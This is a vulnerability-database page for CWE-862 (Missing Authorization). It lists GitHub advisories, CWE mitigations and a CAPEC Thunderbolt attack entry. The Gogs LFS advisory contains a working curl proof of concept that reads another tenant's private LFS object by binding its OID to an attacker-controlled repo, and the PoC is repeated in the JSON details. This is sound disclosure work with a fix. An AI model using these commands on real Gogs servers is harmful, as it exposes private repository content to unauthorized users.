Common Weakness Enumeration
CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
15682 vulnerabilities reference this CWE, most recent first.
GHSA-6P6W-G5HW-RG47
Vulnerability from github – Published: 2023-12-04 03:30 – Updated: 2023-12-07 00:30
VLAI
Details
In wifi service, there is a possible missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2023-42689"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-04T01:15:09Z",
"severity": "HIGH"
},
"details": "In wifi service, there is a possible missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed",
"id": "GHSA-6p6w-g5hw-rg47",
"modified": "2023-12-07T00:30:38Z",
"published": "2023-12-04T03:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42689"
},
{
"type": "WEB",
"url": "https://www.unisoc.com/en_us/secy/announcementDetail/https://www.unisoc.com/en_us/secy/announcementDetail/1731138365803266049"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6P72-9RWX-X4V5
Vulnerability from github – Published: 2025-01-24 18:31 – Updated: 2025-01-24 18:31
VLAI
Details
The Jobify - Job Board WordPress Theme for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability check on the 'download_image_via_ai' and 'generate_image_via_ai' functions in all versions up to, and including, 4.2.7. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application to upload files in an image format, and to generate AI images using the site's OpenAI key.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-13698"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-24T16:15:34Z",
"severity": "MODERATE"
},
"details": "The Jobify - Job Board WordPress Theme for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability check on the \u0027download_image_via_ai\u0027 and \u0027generate_image_via_ai\u0027 functions in all versions up to, and including, 4.2.7. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application to upload files in an image format, and to generate AI images using the site\u0027s OpenAI key.",
"id": "GHSA-6p72-9rwx-x4v5",
"modified": "2025-01-24T18:31:12Z",
"published": "2025-01-24T18:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13698"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/jobify-wordpress-job-board-theme/5247604"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/393811e4-71dd-4359-80fa-5a3d146439bb?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6P9M-Q3JP-47H4
Vulnerability from github – Published: 2026-06-23 17:10 – Updated: 2026-07-21 13:40
VLAI
Summary
Gogs: LFS dedupe path leaks private repo content across tenants
Details
Summary
Git LFS storage is content-addressed by OID alone (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.
Details
Dedupe shortcut at internal/lfsx/storage.go:79-82:
if fi, err := os.Stat(fpath); err == nil {
_, _ = io.Copy(io.Discard, rc)
return fi.Size(), nil // ← returns success with no hash check
}
Hash verification at internal/lfsx/storage.go:106-108 only runs in the new-file branch — the dedupe path returns earlier.
serveUpload (internal/route/lfs/basic.go:78-114) trusts that success and inserts the per-repo binding:
_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid) // per-repo
if err == nil { /* already linked, drain & return 200 */ }
written, err := s.Upload(oid, c.Req.Request.Body)
err = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())
CreateLFSObject is an unconditional INSERT on (repo_id, oid) with no check that the OID is referenced by the requesting repo's git history.
serveDownload at internal/route/lfs/basic.go:42-72 only consults the per-repo row, then streams from the shared content-addressed file.
Suggested fix
- In
LocalStorage.Upload, whenos.Stat(fpath) == nil, hash the request body viaio.TeeReaderandErrOIDMismatchon disagreement — same code path as the new-file branch already uses. The "client retries after partial failure" use case still works; the retry just has to send the correct content. - Optional second layer: in
serveUpload, refuseCreateLFSObjectunless the OID is referenced by an LFS pointer in the requesting repo's refs.
PoC
Tested against gogs at HEAD d7571322 (also reproduces on v0.14.2, paths are internal/lfsutil/storage.go and identical logic).
Reproduction prerequisites
- Running gogs ≥ 0.12.0 with
[lfs] ENABLED = true. - Two accounts:
alice(private reposecrets) andbob(any repobob/scratch); bob has no access toalice/secrets. - An OID known to be present in
alice/secrets— leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).
Setup (testbed simulation of the victim's prior state)
GOGS=https://gogs.example
ALICE_AUTH='-u alice:alice_password'
BOB_AUTH='-u bob:bob_password'
VICTIM_BYTES='victim secret content'
OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1)
SIZE=$(printf %s "$VICTIM_BYTES" | wc -c)
# After this, file lives at <conf.LFS.ObjectsPath>/<OID[0]>/<OID[1]>/<OID>
# and (alice/secrets, OID) row exists in lfs_object.
printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \
-H 'Content-Type: application/octet-stream' \
-X PUT --data-binary @- \
"$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID"
Attack — bob has only $OID, not $VICTIM_BYTES
unset VICTIM_BYTES # attacker has no idea what the file contains
# 1. Confirm bob has no claim on $OID.
curl -sS $BOB_AUTH \
-H 'Accept: application/vnd.git-lfs+json' \
-H 'Content-Type: application/vnd.git-lfs+json' \
-X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \
--data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → "actions":{"error":{"code":404,"message":"Object does not exist"}}
# 2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists
# so LocalStorage.Upload takes the dedupe shortcut: drains the body
# without hashing, returns alice's size; CreateLFSObject inserts (bob, OID).
curl -sS $BOB_AUTH \
-H 'Content-Type: application/octet-stream' \
-X PUT --data-binary 'irrelevant attacker-controlled bytes' \
"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID"
# → HTTP/1.1 200 OK
# 3. Download via bob's repo — gogs streams alice's bytes.
curl -sS $BOB_AUTH "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" -o /tmp/leaked
cat /tmp/leaked
# → victim secret content
sha256sum /tmp/leaked | cut -d' ' -f1
# → matches $OID exactly
Independent confirmation against the source
git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
sed -n '63,114p' internal/lfsx/storage.go # dedupe at 79-82, hash check at 106 only in new-file branch
sed -n '74,117p' internal/route/lfs/basic.go # serveUpload calls CreateLFSObject regardless of dedupe path
grep -n 'primaryKey' internal/database/lfs.go # composite (RepoID, OID) PK — multiple repos can share an OID row
Impact
- Cross-tenant disclosure of any LFS object on the instance. Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.
- LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers — all extracted byte-for-byte.
- Persistent: the
(bob/scratch, OID)row pins read access until manually deleted; removing bob's repo write access does not revoke prior binds. No artefact on victim's side beyond a 200 in the LFS access log.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52812"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T17:10:25Z",
"nvd_published_at": "2026-06-24T21:16:57Z",
"severity": "HIGH"
},
"details": "Summary\n\nGit LFS storage is content-addressed by OID alone (`\u003cLFS-root\u003e/\u003coid[0]\u003e/\u003coid[1]\u003e/\u003coid\u003e`) but per-repo authorization lives in the `lfs_object` table keyed `(repo_id, oid)`. `serveUpload` skips re-uploading when the OID file already exists on disk and inserts a new `(repo_id, oid)` row pointing at it **without verifying the request body hashes to the OID being claimed**. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.\n\nDetails\n\nDedupe shortcut at `internal/lfsx/storage.go:79-82`:\n\n```go\nif fi, err := os.Stat(fpath); err == nil {\n _, _ = io.Copy(io.Discard, rc)\n return fi.Size(), nil // \u2190 returns success with no hash check\n}\n```\n\nHash verification at `internal/lfsx/storage.go:106-108` only runs in the *new-file* branch \u2014 the dedupe path returns earlier.\n\n`serveUpload` (`internal/route/lfs/basic.go:78-114`) trusts that success and inserts the per-repo binding:\n\n```go\n_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid) // per-repo\nif err == nil { /* already linked, drain \u0026 return 200 */ }\nwritten, err := s.Upload(oid, c.Req.Request.Body)\nerr = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())\n```\n\n`CreateLFSObject` is an unconditional `INSERT` on `(repo_id, oid)` with no check that the OID is referenced by the requesting repo\u0027s git history.\n\n`serveDownload` at `internal/route/lfs/basic.go:42-72` only consults the per-repo row, then streams from the shared content-addressed file.\n\nSuggested fix\n\n1. In `LocalStorage.Upload`, when `os.Stat(fpath) == nil`, hash the request body via `io.TeeReader` and `ErrOIDMismatch` on disagreement \u2014 same code path as the new-file branch already uses. The \"client retries after partial failure\" use case still works; the retry just has to send the correct content.\n2. Optional second layer: in `serveUpload`, refuse `CreateLFSObject` unless the OID is referenced by an LFS pointer in the requesting repo\u0027s refs.\n\nPoC\n\nTested against gogs at HEAD `d7571322` (also reproduces on `v0.14.2`, paths are `internal/lfsutil/storage.go` and identical logic).\n\n### Reproduction prerequisites\n- Running gogs \u2265 0.12.0 with `[lfs] ENABLED = true`.\n- Two accounts: `alice` (private repo `secrets`) and `bob` (any repo `bob/scratch`); bob has no access to `alice/secrets`.\n- An OID known to be present in `alice/secrets` \u2014 leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).\n\n### Setup (testbed simulation of the victim\u0027s prior state)\n\n```sh\nGOGS=https://gogs.example\nALICE_AUTH=\u0027-u alice:alice_password\u0027\nBOB_AUTH=\u0027-u bob:bob_password\u0027\n\nVICTIM_BYTES=\u0027victim secret content\u0027\nOID=$(printf %s \"$VICTIM_BYTES\" | sha256sum | cut -d\u0027 \u0027 -f1)\nSIZE=$(printf %s \"$VICTIM_BYTES\" | wc -c)\n\n# After this, file lives at \u003cconf.LFS.ObjectsPath\u003e/\u003cOID[0]\u003e/\u003cOID[1]\u003e/\u003cOID\u003e\n# and (alice/secrets, OID) row exists in lfs_object.\nprintf %s \"$VICTIM_BYTES\" | curl -sS $ALICE_AUTH \\\n -H \u0027Content-Type: application/octet-stream\u0027 \\\n -X PUT --data-binary @- \\\n \"$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID\"\n```\n\n### Attack \u2014 bob has only `$OID`, not `$VICTIM_BYTES`\n\n```sh\nunset VICTIM_BYTES # attacker has no idea what the file contains\n\n# 1. Confirm bob has no claim on $OID.\ncurl -sS $BOB_AUTH \\\n -H \u0027Accept: application/vnd.git-lfs+json\u0027 \\\n -H \u0027Content-Type: application/vnd.git-lfs+json\u0027 \\\n -X POST \"$GOGS/bob/scratch.git/info/lfs/objects/batch\" \\\n --data \"{\\\"operation\\\":\\\"download\\\",\\\"objects\\\":[{\\\"oid\\\":\\\"$OID\\\",\\\"size\\\":$SIZE}]}\"\n# \u2192 \"actions\":{\"error\":{\"code\":404,\"message\":\"Object does not exist\"}}\n\n# 2. PUT garbage to bob\u0027s LFS endpoint. The on-disk OID file already exists\n# so LocalStorage.Upload takes the dedupe shortcut: drains the body\n# without hashing, returns alice\u0027s size; CreateLFSObject inserts (bob, OID).\ncurl -sS $BOB_AUTH \\\n -H \u0027Content-Type: application/octet-stream\u0027 \\\n -X PUT --data-binary \u0027irrelevant attacker-controlled bytes\u0027 \\\n \"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID\"\n# \u2192 HTTP/1.1 200 OK\n\n# 3. Download via bob\u0027s repo \u2014 gogs streams alice\u0027s bytes.\ncurl -sS $BOB_AUTH \"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID\" -o /tmp/leaked\ncat /tmp/leaked\n# \u2192 victim secret content\nsha256sum /tmp/leaked | cut -d\u0027 \u0027 -f1\n# \u2192 matches $OID exactly\n```\n\n### Independent confirmation against the source\n\n```sh\ngit clone https://github.com/gogs/gogs.git \u0026\u0026 cd gogs\ngit checkout d7571322\n\nsed -n \u002763,114p\u0027 internal/lfsx/storage.go # dedupe at 79-82, hash check at 106 only in new-file branch\nsed -n \u002774,117p\u0027 internal/route/lfs/basic.go # serveUpload calls CreateLFSObject regardless of dedupe path\ngrep -n \u0027primaryKey\u0027 internal/database/lfs.go # composite (RepoID, OID) PK \u2014 multiple repos can share an OID row\n```\n\nImpact\n\n- **Cross-tenant disclosure of any LFS object on the instance.** Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.\n- LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers \u2014 all extracted byte-for-byte.\n- Persistent: the `(bob/scratch, OID)` row pins read access until manually deleted; removing bob\u0027s repo write access does not revoke prior binds. No artefact on victim\u0027s side beyond a 200 in the LFS access log.",
"id": "GHSA-6p9m-q3jp-47h4",
"modified": "2026-07-21T13:40:25Z",
"published": "2026-06-23T17:10:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-6p9m-q3jp-47h4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52812"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/pull/8333"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/f35a767af74e05342bafc6fdda02c791816426f8"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gogs: LFS dedupe path leaks private repo content across tenants"
}
GHSA-6P9R-QWHR-GC82
Vulnerability from github – Published: 2022-01-28 00:02 – Updated: 2026-05-18 15:30
VLAI
Details
Single Connect does not perform an authorization check when using the "sc-diagnostic-ui" module. A remote attacker could exploit this vulnerability to access the device information page. The exploitation of this vulnerability might allow a remote attacker to obtain sensitive information.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2021-44794"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-27T13:15:00Z",
"severity": "MODERATE"
},
"details": "Single Connect does not perform an authorization check when using the \"sc-diagnostic-ui\" module. A remote attacker could exploit this vulnerability to access the device information page. The exploitation of this vulnerability might allow a remote attacker to obtain sensitive information.",
"id": "GHSA-6p9r-qwhr-gc82",
"modified": "2026-05-18T15:30:31Z",
"published": "2022-01-28T00:02:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44794"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-22-0093"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-22-0093"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6PCR-VG7G-6RG7
Vulnerability from github – Published: 2025-03-05 12:31 – Updated: 2025-03-05 12:31
VLAI
Details
The Zass - WooCommerce Theme for Handmade Artists and Artisans theme for WordPress is vulnerable to unauthorized access due to a missing capability check on the 'zass_import_zass' AJAX actions in all versions up to, and including, 3.9.9.10. This makes it possible for authenticated attackers, with Subscriber-level access and above, to import demo content and overwrite the site.
Severity
4.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-13810"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-05T10:15:17Z",
"severity": "MODERATE"
},
"details": "The Zass - WooCommerce Theme for Handmade Artists and Artisans theme for WordPress is vulnerable to unauthorized access due to a missing capability check on the \u0027zass_import_zass\u0027 AJAX actions in all versions up to, and including, 3.9.9.10. This makes it possible for authenticated attackers, with Subscriber-level access and above, to import demo content and overwrite the site.",
"id": "GHSA-6pcr-vg7g-6rg7",
"modified": "2025-03-05T12:31:11Z",
"published": "2025-03-05T12:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13810"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/zass-wordpress-woocommerce-theme/19614113"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d85e54c2-dff6-42e6-8123-767438f9c5f1?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6PF2-52G7-P22M
Vulnerability from github – Published: 2025-05-20 15:30 – Updated: 2025-05-20 15:30
VLAI
Details
VMware Cloud Foundation contains a missing authorisation vulnerability. A malicious actor with access to VMware Cloud Foundation appliance may be able to perform certain unauthorised actions and access limited sensitive information.
Severity
7.3 (High)
{
"affected": [],
"aliases": [
"CVE-2025-41231"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-20T13:15:48Z",
"severity": "HIGH"
},
"details": "VMware Cloud Foundation\u00a0contains a missing authorisation vulnerability.\u00a0A malicious actor with access to VMware Cloud Foundation appliance may be able to perform certain unauthorised actions and access limited sensitive information.",
"id": "GHSA-6pf2-52g7-p22m",
"modified": "2025-05-20T15:30:39Z",
"published": "2025-05-20T15:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41231"
},
{
"type": "WEB",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/25733"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-6PH2-V7RG-CPR2
Vulnerability from github – Published: 2024-11-01 15:32 – Updated: 2024-11-01 15:32
VLAI
Details
Missing Authorization vulnerability in WebsiteinWP Blogpoet allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Blogpoet: from n/a through 1.0.3.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-43998"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-01T15:15:51Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in WebsiteinWP Blogpoet allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Blogpoet: from n/a through 1.0.3.",
"id": "GHSA-6ph2-v7rg-cpr2",
"modified": "2024-11-01T15:32:00Z",
"published": "2024-11-01T15:32:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43998"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/blogpoet/wordpress-blogpoet-theme-1-0-3-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-6PHC-9Q7X-G8X7
Vulnerability from github – Published: 2023-07-12 09:30 – Updated: 2024-04-04 06:02
VLAI
Details
In telephony service, there is a possible missing permission check. This could lead to local escalation of privilege with no additional execution privileges.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2023-30928"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-12T09:15:11Z",
"severity": "HIGH"
},
"details": "In telephony service, there is a possible missing permission check. This could lead to local escalation of privilege with no additional execution privileges.",
"id": "GHSA-6phc-9q7x-g8x7",
"modified": "2024-04-04T06:02:42Z",
"published": "2023-07-12T09:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30928"
},
{
"type": "WEB",
"url": "https://www.unisoc.com/en_us/secy/announcementDetail/1676902764208259073"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6PJ9-5Q6J-J97C
Vulnerability from github – Published: 2022-05-13 01:25 – Updated: 2024-01-30 21:50
VLAI
Summary
Missing permission check in Jenkins Gearman Plugin
Details
A missing permission check in Jenkins Gearman Plugin in the GearmanPluginConfig#doTestConnection form validation method allows attackers with Overall/Read permission to initiate a connection to an attacker-specified server.
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:gearman-plugin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-1003083"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-30T21:50:39Z",
"nvd_published_at": "2019-04-04T16:29:00Z",
"severity": "MODERATE"
},
"details": "A missing permission check in Jenkins Gearman Plugin in the GearmanPluginConfig#doTestConnection form validation method allows attackers with Overall/Read permission to initiate a connection to an attacker-specified server.",
"id": "GHSA-6pj9-5q6j-j97c",
"modified": "2024-01-30T21:50:39Z",
"published": "2022-05-13T01:25:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1003083"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-04-03/#SECURITY-991"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/04/12/2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107790"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Missing permission check in Jenkins Gearman Plugin"
}
GHSA-6PM4-W32M-WGPQ
Vulnerability from github – Published: 2023-10-08 06:30 – Updated: 2024-04-04 08:24
VLAI
Details
In Messaging, there is a possible missing permission check. This could lead to local information disclosure with no additional execution privileges needed
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-40641"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-08T04:15:57Z",
"severity": "MODERATE"
},
"details": "In Messaging, there is a possible missing permission check. This could lead to local information disclosure with no additional execution privileges needed",
"id": "GHSA-6pm4-w32m-wgpq",
"modified": "2024-04-04T08:24:42Z",
"published": "2023-10-08T06:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40641"
},
{
"type": "WEB",
"url": "https://www.unisoc.com/en_us/secy/announcementDetail/https://www.unisoc.com/en_us/secy/announcementDetail/1707266966118531074"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Architecture and Design
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Architecture and Design
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration
Installation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.